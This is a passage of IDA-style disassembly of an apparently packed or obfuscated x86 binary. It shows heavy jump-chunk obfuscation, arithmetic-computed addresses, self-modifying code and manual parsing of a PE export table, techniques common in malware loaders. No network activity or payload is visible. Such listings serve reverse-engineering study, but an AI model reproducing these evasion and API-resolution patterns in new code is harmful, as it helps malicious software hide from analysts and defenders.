loc_40AC8C:				; CODE XREF: sub_40939B+7j
					; sub_40A382:loc_40A6D3j ...
		jb	loc_40B7F0
		test	byte ptr [ebp-7], 8
		jz	loc_40E9CF
		push	ebp
		mov	eax, [ebp-20h]


loc_40ACA0:				; CODE XREF: o45kw3t9:loc_4100C2j
		call	sub_409379
		pop	ecx
		jmp	loc_4101F9
; END OF FUNCTION CHUNK	FOR sub_40939B

; =============== S U B	R O U T	I N E =======================================



sub_40ACAB	proc near		; CODE XREF: o45kw3t9:00409141j
					; sub_40915B:loc_41021Bp

; FUNCTION CHUNK AT 00409FA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BE2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CE03 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D520 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040DC74 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00410130 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		or	eax, eax
		jnz	loc_40D520
		jmp	loc_40BE2F
sub_40ACAB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40ACBC:				; CODE XREF: sub_40B5CB+33BEj
		jb	loc_40980E
		add	ecx, 4A01CDB5h
		jmp	loc_40C013
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 6
		mov	ds:dword_40E3D0, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40ACD8:				; CODE XREF: sub_40D740-398Ej
		ror	eax, 6
		pushf
		mov	[esp+0], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A467


loc_40ACE0:				; CODE XREF: sub_40A467+4A13j
		jmp	loc_40CE95
; END OF FUNCTION CHUNK	FOR sub_40A467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40ACE5:				; CODE XREF: sub_40CC20-2324j
		not	ebp


loc_40ACE7:				; CODE XREF: sub_40CC20:loc_40BD79j
		mov	eax, [esp+0]
		push	eax
		call	sub_40909E
		push	offset loc_40E9FF


loc_40ACF5:				; CODE XREF: o45kw3t9:loc_4098F1j
		jmp	loc_40CCC3
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40ACFA:				; CODE XREF: sub_409726+4398j
		mov	edx, 19CFC62Bh
		call	sub_40E858
		push	eax
		rol	eax, 1Ch
		jmp	loc_410064
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------


loc_40AD0D:				; CODE XREF: o45kw3t9:0040B9C6j
		add	eax, 8FE170C8h

; =============== S U B	R O U T	I N E =======================================



sub_40AD13	proc near		; CODE XREF: sub_40E692-31CBp
		xchg	edx, [esp+0]
		pop	edx
		pop	ebp
		retn
sub_40AD13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AD19:				; CODE XREF: sub_40D740-197Bj
		jmp	loc_40FFDF
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_409228
; ---------------------------------------------------------------------------


loc_40AD26:				; CODE XREF: o45kw3t9:0040A9E3j
					; o45kw3t9:0040CE6Cj
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_409E5C
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		jmp	loc_409156

; =============== S U B	R O U T	I N E =======================================



sub_40AD44	proc near		; CODE XREF: o45kw3t9:loc_40A288p
		mov	[esp+0], ecx
		call	sub_40A313


loc_40AD4C:				; CODE XREF: sub_40DD8F+1330j
		jmp	nullsub_11
sub_40AD44	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AD51	proc near		; DATA XREF: sub_40EFF0-4400o

; FUNCTION CHUNK AT 0040C1C4 SIZE 0000000B BYTES

		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C3F9
		jmp	loc_40C1C4
sub_40AD51	endp

; ---------------------------------------------------------------------------


loc_40AD63:				; CODE XREF: o45kw3t9:loc_40E3B6j
		call	nullsub_3
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40AD68:				; CODE XREF: sub_40C683-D1Aj
					; sub_40943A:loc_40EDA9j
		jno	loc_40DE4E
		xor	eax, eax


loc_40AD70:				; CODE XREF: sub_4097CD+8j
		mov	[ebp-0Ch], eax
		jmp	loc_40C83F
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------


loc_40AD78:				; CODE XREF: o45kw3t9:0040C839j
		sbb	edi, edx

; =============== S U B	R O U T	I N E =======================================



sub_40AD7A	proc near		; CODE XREF: sub_40E98E-12D5p

; FUNCTION CHUNK AT 0040A27D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A641 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040BD6A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040BFB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C0E9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C254 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C3EB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040CCD4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040D484 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D51B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E3B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FB19 SIZE 00000010 BYTES

		xchg	esi, [esp+0]


loc_40AD7D:				; CODE XREF: o45kw3t9:0040B947j
		pop	esi
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40FB19
		jmp	loc_40BFB6
sub_40AD7A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40AD8C	proc near		; DATA XREF: sub_40A299+19EBo
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40AD9A
sub_40AD8C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40AD95:				; CODE XREF: sub_40A299:loc_40B9A2j
					; sub_409FA8+4E60j ...
		jmp	loc_40A4CF
; ---------------------------------------------------------------------------


loc_40AD9A:				; CODE XREF: sub_40AD8C+3j
					; sub_409FA8:loc_410292j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA3C


loc_40AD9D:				; CODE XREF: sub_40CA3C+1893j
		jmp	loc_40E7A0
; END OF FUNCTION CHUNK	FOR sub_40CA3C
; ---------------------------------------------------------------------------


loc_40ADA2:				; CODE XREF: o45kw3t9:0040C6E0j
		jmp	loc_40908E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_40A288
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40ADAF:				; CODE XREF: sub_40DA15-352j
		or	edi, 35C22E2h


loc_40ADB5:				; CODE XREF: sub_40DA15:loc_40B986j
		push	41EF2BD5h
		pop	eax
		or	eax, 57E25788h
		and	eax, 0C562E5A8h
		xor	eax, 10ED2806h
		add	eax, ebp
		add	eax, 0AA70B26Eh
		jmp	loc_40EF5E
; END OF FUNCTION CHUNK	FOR sub_40DA15

; =============== S U B	R O U T	I N E =======================================



sub_40ADDA	proc near		; CODE XREF: sub_4097CD+3p
					; o45kw3t9:0040FD11j
		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, eax
		push	35C405A3h
		jmp	loc_40D8E1
sub_40ADDA	endp

; ---------------------------------------------------------------------------
		mov	ecx, 77E1B045h
		shr	edx, 7
		jmp	sub_409ED2
; ---------------------------------------------------------------------------
		adc	edi, 0CF82740Ch
		jmp	sub_40E7B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40AE02:				; CODE XREF: sub_40A742:loc_40971Bj
		jl	loc_40B1F7


loc_40AE08:				; CODE XREF: sub_40AC4A+1Cj
		jmp	loc_40A523
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
		cmp	edx, 0F115C4BAh
		jmp	loc_40D871
; ---------------------------------------------------------------------------


loc_40AE18:				; DATA XREF: sub_40D179-2F06o
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_40B085
		jmp	loc_40E4CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A474


loc_40AE2C:				; CODE XREF: sub_40A474+1Cj
		call	sub_40E858
		push	offset loc_40E92F
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_40A474

; =============== S U B	R O U T	I N E =======================================



sub_40AE3B	proc near		; CODE XREF: sub_40EC83:loc_40A43Aj
					; sub_40CD2E:loc_40A8BEj

; FUNCTION CHUNK AT 004093B0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00409949 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E70B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040EA1A SIZE 00000005 BYTES

		push	ebx
		push	0D20DCD92h
		pop	ebx
		or	ebx, 0C37E209Ah
		rol	ebx, 1Ch
		add	ebx, 530891E7h
		mov	[ebx], eax
		jmp	loc_409949
sub_40AE3B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40AE58:				; CODE XREF: sub_40E893:loc_40B01Ej
		jz	loc_40D7EF


loc_40AE5E:				; CODE XREF: o45kw3t9:loc_40C7A9j
		jmp	loc_40FC2C
; END OF FUNCTION CHUNK	FOR sub_40E893
; ---------------------------------------------------------------------------


loc_40AE63:				; DATA XREF: sub_40D996:loc_40FC0Co
		mov	eax, [ebp-0Ch]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		push	offset sub_40BDCA
		jmp	loc_40D934
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC20


loc_40AE78:				; CODE XREF: sub_40C8A6-18C6j
					; sub_40CC20-A86j
		ror	eax, 14h
		call	sub_40D018


loc_40AE80:				; CODE XREF: o45kw3t9:0040B927j
					; sub_40CC20+3135j
		jmp	loc_40C13F
; END OF FUNCTION CHUNK	FOR sub_40CC20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40AE85:				; CODE XREF: sub_40C674:loc_40C8A1j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40A68E
		jmp	loc_409015
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409892


loc_40AE96:				; CODE XREF: sub_409892:loc_4099B2j
		mov	esi, offset sub_40AEA9
		xchg	esi, [esp+4+var_4]
		retn
; END OF FUNCTION CHUNK	FOR sub_409892
; ---------------------------------------------------------------------------


loc_40AE9F:				; CODE XREF: o45kw3t9:0040D5FAj
		jmp	loc_40C6D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AEA4:				; CODE XREF: sub_40D740-4348j
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40AEA9	proc near		; DATA XREF: sub_409892:loc_40AE96o
		rol	esi, 1Ah
		add	esi, 0FB46A72Fh
		xchg	esi, [esp+0]
		jmp	loc_40FD22
sub_40AEA9	endp

; ---------------------------------------------------------------------------


loc_40AEBA:				; CODE XREF: o45kw3t9:0040DAE8j
		sbb	edi, 15A3012Ch

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_40D740:loc_40B1F2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040B34C SIZE 00000006 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, edx
		call	sub_40A447
		mov	eax, [esp-4+arg_0]
		jmp	loc_40B34C
sub_40AEC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edi, ecx
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40AED5:				; CODE XREF: sub_40A3A2:loc_40C752j
		jmp	loc_40FF44
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------


loc_40AEDA:				; CODE XREF: o45kw3t9:0040BCD9j
		jp	loc_40E13A
		add	ebp, edi
		sbb	ebp, eax


loc_40AEE4:				; CODE XREF: o45kw3t9:loc_40CBE0j
		push	ebx
		jmp	loc_41018D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE71


loc_40AEEA:				; CODE XREF: sub_40DE71-39BAj
		add	ebx, 90BC9CA9h
; END OF FUNCTION CHUNK	FOR sub_40DE71
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AEF0:				; CODE XREF: sub_40D740-1F69j
		mov	[ebx], edx
		pop	ebx


loc_40AEF3:				; CODE XREF: sub_4090F8+45F3j
					; sub_4090F8+5BB2j
		push	offset sub_40D3AB
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40AEFD:				; CODE XREF: sub_40AC2F:loc_40CAF9j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C4BE
		jmp	loc_40D3B8
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
		sub	ecx, eax
		xchg	ebx, edi
		jmp	sub_40B93B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AF1A:				; CODE XREF: sub_40D740+191Fj
		not	eax


loc_40AF1C:				; CODE XREF: sub_40D740:loc_40E3FEj
		push	2D3A3924h
		pop	eax
		or	eax, 7253E47Fh
		xor	eax, 6F4028C1h
		test	eax, 8
		jmp	loc_40C548
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40AF39	proc near		; CODE XREF: sub_4091CB+2F4j
					; o45kw3t9:0040A37Dj ...
		mov	[esp+0], esi
		pop	esi
		mov	ebp, [eax]
		push	offset sub_40EF9A
		jmp	nullsub_24
sub_40AF39	endp

; ---------------------------------------------------------------------------


loc_40AF49:				; CODE XREF: o45kw3t9:0040B318j
		jnz	loc_409944
		jmp	loc_40DACE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40AF55	proc near		; CODE XREF: sub_40A6F8-167Dp
					; o45kw3t9:0040D0B9j

; FUNCTION CHUNK AT 0040DFAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EEB5 SIZE 00000014 BYTES

		mov	[esp+0], esi
		pop	esi
		add	esi, 0EBD912E1h
		mov	[esi], eax
		pop	esi
		push	1Ch
		jmp	loc_40EEB5
sub_40AF55	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40AF69:				; CODE XREF: sub_40E0E0-2C73j
		add	eax, [ebp-4]
		call	sub_40C365
		cmp	eax, [ebp-8]
		jnz	loc_40C15D
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_40A575
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------

locret_40AF8A:				; CODE XREF: o45kw3t9:0040A539j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40AF8B:				; CODE XREF: sub_40D740+BFj
		jmp	sub_40CEFE
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C298


loc_40AF90:				; CODE XREF: sub_40C298+2661j
		ja	loc_40A636
		jbe	loc_40970E
		and	edx, eax


loc_40AF9E:				; CODE XREF: sub_40E786:loc_4101ABj
		call	sub_40CEFE
		mov	edx, 95918C9Dh
		jmp	loc_40FF0E
; END OF FUNCTION CHUNK	FOR sub_40C298
; ---------------------------------------------------------------------------
		ror	ecx, 6
		jmp	sub_40B0F3
; ---------------------------------------------------------------------------
		mov	[eax], ecx
		pushf
		jmp	sub_40CB74
; ---------------------------------------------------------------------------


loc_40AFBD:				; DATA XREF: sub_409022:loc_40DAD8o
		add	eax, ebp
		add	eax, 0C8D3AA9Fh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A596
		jmp	loc_409259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C8A6


loc_40AFD5:				; CODE XREF: sub_40C8A6+4j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40CFEC
		or	eax, eax
		jnz	loc_40AE78
		jmp	loc_40E8E2
; END OF FUNCTION CHUNK	FOR sub_40C8A6

; =============== S U B	R O U T	I N E =======================================



sub_40AFEB	proc near		; DATA XREF: o45kw3t9:0040FE7Co
		call	sub_4090F8
		mov	ds:dword_407880+11h, eax
		lea	eax, nullsub_112
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_112
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B004	proc near		; CODE XREF: sub_40D740p

; FUNCTION CHUNK AT 0040AACA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D2A3 SIZE 00000011 BYTES

		mov	[esp+0], ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_40D2A3
sub_40B004	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E93E


loc_40B012:				; CODE XREF: sub_40E93E+3j
		jmp	loc_40B698
; END OF FUNCTION CHUNK	FOR sub_40E93E

; =============== S U B	R O U T	I N E =======================================



sub_40B017	proc near		; CODE XREF: sub_40A8A6:loc_40DC30p
		mov	dword ptr [eax], 0
		retn
sub_40B017	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40B01E:				; CODE XREF: sub_40E893-46B1j
		jmp	loc_40AE58
; END OF FUNCTION CHUNK	FOR sub_40E893
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40B024:				; CODE XREF: sub_40939B+246Cj
		jmp	loc_409146
; END OF FUNCTION CHUNK	FOR sub_40939B

; =============== S U B	R O U T	I N E =======================================



sub_40B029	proc near		; CODE XREF: sub_40B029:loc_40A81Dj
					; sub_40BB73+8p ...

; FUNCTION CHUNK AT 0040A81D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B288 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CAAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D245 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040D35A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040FFEB SIZE 00000013 BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_13
		jmp	loc_40B288
sub_40B029	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40B03E:				; CODE XREF: sub_40B23F:loc_409DE6j
		jz	loc_40FE4D
		jmp	loc_40CD4B
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D026


loc_40B049:				; CODE XREF: sub_40D026+6j
		push	offset sub_40CE35
		jmp	loc_40B283
; END OF FUNCTION CHUNK	FOR sub_40D026
; ---------------------------------------------------------------------------
		sub	ebp, 3D6572F5h
		jmp	sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40B05E:				; CODE XREF: sub_409FA8:loc_40C827j
		add	eax, 0F0BA49D9h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A413
		jmp	loc_40F1E1
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40B074:				; CODE XREF: sub_40AC2F:loc_40DE5Aj
		jnz	loc_40FDBC
		jmp	loc_410301
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------


loc_40B07F:				; CODE XREF: o45kw3t9:0040F01Ej
		jz	loc_40BB59
; START	OF FUNCTION CHUNK FOR sub_40B14E


loc_40B085:				; CODE XREF: o45kw3t9:004097ACj
					; o45kw3t9:0040AE21j ...
		jz	loc_40BA96
		or	eax, eax
		jz	loc_40BB57
		cmp	eax, 0FFFFFFFFh
		jz	loc_40BB57
		push	offset loc_40BA8F
		jmp	nullsub_33
; END OF FUNCTION CHUNK	FOR sub_40B14E

; =============== S U B	R O U T	I N E =======================================



sub_40B0A6	proc near		; CODE XREF: sub_40FD16-6373p
					; o45kw3t9:0040AA5Dj

; FUNCTION CHUNK AT 004090D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AB97 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040B485 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E95C SIZE 0000001A BYTES

		mov	[esp+0], ecx
		pop	ecx
		push	esi
		xchg	ebp, esi
		jmp	loc_40E95C
sub_40B0A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40995E


loc_40B0B2:				; CODE XREF: sub_40995E+3739j
		mov	esi, ebx
		push	offset aZ4HUpbBuRCbBi ;	"‡4$h¶upB[ãÛRÊçá›"
		jmp	loc_409176
; END OF FUNCTION CHUNK	FOR sub_40995E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40B0BE:				; CODE XREF: sub_409726:loc_40CA72j
		call	sub_40A7CF


loc_40B0C3:				; CODE XREF: sub_40A259+37DDj
		jnz	loc_40EEE5
		shl	edx, 19h
		jmp	loc_40DAB0
; END OF FUNCTION CHUNK	FOR sub_409726

; =============== S U B	R O U T	I N E =======================================



sub_40B0D1	proc near		; CODE XREF: o45kw3t9:loc_409A1Aj
					; sub_40BD5C+4p ...

; FUNCTION CHUNK AT 0040B5E9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040C76E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	esi, ebx
		push	edi
		push	ebx
		push	ecx
		mov	eax, esp
		jmp	loc_40C76E
sub_40B0D1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40B0E1:				; CODE XREF: o45kw3t9:loc_40A017j
		jnz	loc_40A1FF
		jmp	loc_40DA68
; ---------------------------------------------------------------------------
		or	edi, ebx
		jmp	loc_40CF20

; =============== S U B	R O U T	I N E =======================================



sub_40B0F3	proc near		; CODE XREF: sub_40EC83-4F4Ep
					; o45kw3t9:0040AFB0j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040A56A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DFCD SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	eax, [esp+0]
		lea	eax, [ebp-34h]
		jmp	loc_40A56A
sub_40B0F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_40B102:				; CODE XREF: o45kw3t9:loc_40F1DCj
		retn
; ---------------------------------------------------------------------------


loc_40B103:				; CODE XREF: o45kw3t9:loc_40B838j
		jge	loc_409CEC
		and	ecx, ebx
		sub	ecx, edi
		jmp	loc_40B675
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40B112:				; CODE XREF: sub_40928F+392Cj
		push	0E604596Bh
		pop	eax
		or	eax, 31A46CACh
		rol	eax, 9
		add	eax, 0B744DC16h
		popf
		jmp	loc_40EC43
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_40B12D:				; CODE XREF: sub_40B88D:loc_40DC46j
		mov	ebp, eax
		mov	eax, 0FCFDA66Ah
		jmp	loc_40DFAA
; END OF FUNCTION CHUNK	FOR sub_40B88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B139:				; CODE XREF: sub_40D740:loc_410018j
		jle	loc_40E789
		adc	edx, esi
		mov	ebx, ecx
		jmp	loc_40D7CD
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40B148:				; CODE XREF: o45kw3t9:00409FE1j
		jle	loc_40A641

; =============== S U B	R O U T	I N E =======================================



sub_40B14E	proc near		; CODE XREF: sub_40A259+2622p

; FUNCTION CHUNK AT 00409CB8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A822 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040AB04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B085 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040BA96 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040BB57 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040CC0D SIZE 00000013 BYTES

		mov	[esp+0], esi
		pop	esi
		cmp	byte ptr [eax],	0E8h
		jnz	loc_40DB98
		jmp	loc_409CB8
sub_40B14E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B160	proc near		; CODE XREF: sub_40A3A2-10F4p
					; o45kw3t9:00410216j

; FUNCTION CHUNK AT 004098DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040BA0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040CA7C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040E0C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FADE SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	dword ptr [ebp-8], 0
		jnz	loc_40BA0E
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_40BA0E
sub_40B160	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B179	proc near		; CODE XREF: sub_40A3A2+4j

; FUNCTION CHUNK AT 0040994E SIZE 0000000A BYTES

		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		jmp	loc_40994E
sub_40B179	endp

; ---------------------------------------------------------------------------


loc_40B184:				; CODE XREF: o45kw3t9:00409797j
		jns	loc_410234

; =============== S U B	R O U T	I N E =======================================



sub_40B18A	proc near		; CODE XREF: sub_40D740+EEp
		xchg	ecx, [esp+0]
		pop	ecx
		rol	eax, 0Dh
		jmp	loc_40E9E4
sub_40B18A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B196	proc near		; CODE XREF: sub_40B76E:loc_40B9D8j

; FUNCTION CHUNK AT 0040A7E5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	offset loc_40FF77
		jmp	loc_40A7E5
sub_40B196	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1A3	proc near		; CODE XREF: o45kw3t9:0040C062j
					; sub_40EC83+19p

; FUNCTION CHUNK AT 0040D736 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xor	eax, eax
		mov	ds:dword_40E530, eax
		jmp	loc_40D736
sub_40B1A3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1B3	proc near		; CODE XREF: sub_40FC1Dj

; FUNCTION CHUNK AT 004094B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409BF2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0040BB68 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BFDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040DDCA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040E53E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EF86 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040FA74 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40E53E
sub_40B1B3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40B1BD:				; CODE XREF: sub_40A551+2F5Bj
		jmp	loc_40A4BC
; END OF FUNCTION CHUNK	FOR sub_40A551
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40B1C2:				; CODE XREF: sub_40D740:loc_40FAA1j
		add	edx, 27D051B6h
		mov	[edx], eax


loc_40B1CA:				; CODE XREF: o45kw3t9:0040D33Aj
		pop	edx
		popf
		mov	eax, [ebp-10h]
		test	eax, eax
		jle	loc_40D569
		jmp	loc_40EB88
; END OF FUNCTION CHUNK	FOR sub_40D740
